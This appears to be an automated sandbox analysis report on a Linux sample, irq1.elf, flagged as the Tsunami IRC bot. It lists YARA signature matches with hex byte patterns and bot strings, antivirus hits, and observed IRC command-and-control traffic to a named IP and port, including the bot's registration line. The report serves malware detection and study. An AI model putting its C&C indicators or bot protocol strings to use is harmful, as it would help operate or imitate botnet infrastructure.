Process Memory Space: irq1.elf PID: 5751	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5751	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xe205:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xe224:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5751	LinuxTsunami	unknown	unknown	0xc8fe:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5822	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5822	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xf780:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xf79f:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5822	LinuxTsunami	unknown	unknown	0xde79:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Process Memory Space: irq1.elf PID: 5952	JoeSecurity_Tsunami	Yara detected Tsunami	Joe Security
Process Memory Space: irq1.elf PID: 5952	Linux_Trojan_Tsunami_ad60d7e8	unknown	unknown	0xcc86:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 0xcca5:$a: 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64
Process Memory Space: irq1.elf PID: 5952	LinuxTsunami	unknown	unknown	0xb37f:$c: NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
Click to see the 127 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: irq1.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: irq1.elf

ReversingLabs: Detection: 39%

Networking

Uses IRC for communication with a C&C

Source: unknown

IRC traffic detected: 192.168.2.13:33610 -> 66.172.9.3:8080 NICK M|o|0|873581|galassia USER x00 localhost localhost :23h2a+1.1+tftp_s

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080

Source: global traffic

TCP traffic: 192.168.2.13:33610 -> 66.172.9.3:8080

Source: /bin/sudo (PID: 5708)	Reads hosts file: /etc/hosts			Jump to behavior
Source: /bin/sudo (PID: 5698)	Reads hosts file: /etc/hosts			Jump to behavior

Source: /tmp/irq1.elf (PID: 5437)

Socket: 127.0.0.1:42071

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 66.172.9.3
Source: unknown	TCP traffic detected without corresponding DNS query: 170.100.149.57
Source: unknown	TCP traffic detected without corresponding DNS query: 170.100.149.57
Source: unknown	TCP traffic detected without corresponding DNS query: 170.100.149.57
Source: unknown	TCP traffic detected without corresponding DNS query: 170.171.15.34
Source: unknown	TCP traffic detected without corresponding DNS query: 170.171.15.34
Source: unknown	TCP traffic detected without corresponding DNS query: 170.171.15.34
Source: unknown	TCP traffic detected without corresponding DNS query: 170.57.193.7
Source: unknown	TCP traffic detected without corresponding DNS query: 170.170.53.114
Source: unknown	TCP traffic detected without corresponding DNS query: 170.57.193.7
Source: unknown	TCP traffic detected without corresponding DNS query: 170.57.193.7
Source: unknown	TCP traffic detected without corresponding DNS query: 170.170.53.114
Source: unknown	TCP traffic detected without corresponding DNS query: 170.170.53.114
Source: unknown	TCP traffic detected without corresponding DNS query: 170.64.175.186
Source: unknown	TCP traffic detected without corresponding DNS query: 170.101.182.155
Source: unknown	TCP traffic detected without corresponding DNS query: 170.164.179.246
Source: unknown	TCP traffic detected without corresponding DNS query: 170.64.175.186
Source: unknown	TCP traffic detected without corresponding DNS query: 170.101.182.155
Source: unknown	TCP traffic detected without corresponding DNS query: 170.101.182.155
Source: unknown	TCP traffic detected without corresponding DNS query: 170.64.175.186
Source: unknown	TCP traffic detected without corresponding DNS query: 170.164.179.246
Source: unknown	TCP traffic detected without corresponding DNS query: 170.164.179.246
Source: unknown	TCP traffic detected without corresponding DNS query: 170.117.24.184
Source: unknown	TCP traffic detected without corresponding DNS query: 170.117.24.184
Source: unknown	TCP traffic detected without corresponding DNS query: 170.117.24.184
Source: unknown	TCP traffic detected without corresponding DNS query: 170.11.158.252
Source: unknown	TCP traffic detected without corresponding DNS query: 170.36.13.92
Source: unknown	TCP traffic detected without corresponding DNS query: 170.11.158.252
Source: unknown	TCP traffic detected without corresponding DNS query: 170.36.13.92
Source: unknown	TCP traffic detected without corresponding DNS query: 170.36.13.92

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

System Summary

Malicious sample detected (through community Yara rule)

Source: 5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: 5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: 5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5437, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5437, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5686, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5686, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5694, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5694, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5718, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5718, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5720, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5720, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5721, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5721, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5723, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5723, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5727, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5727, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5729, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5729, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5731, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5731, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5733, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5733, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5735, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5735, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5738, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5738, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5739, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5739, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5741, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5741, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5744, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5744, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5745, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5745, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5747, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5747, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5750, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5750, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5751, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5751, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5822, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5822, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown
Source: Process Memory Space: irq1.elf PID: 5952, type: MEMORYSTR	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 Author: unknown
Source: Process Memory Space: irq1.elf PID: 5952, type: MEMORYSTR	Matched rule: LinuxTsunami Author: unknown

Source: /usr/bin/killall (PID: 5554)

SIGKILL sent: pid: 936, result: successful

Jump to behavior

Source: 5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
Source: 5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: LinuxTsunami Description = Strings inside, Reference = http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3483, Date = 2014/09/12, Author = @benkow_
Source: 5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Tsunami_ad60d7e8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce, id = ad60d7e8-0823-4bfa-b823-681c554bf297, last_modified = 2021-09-16
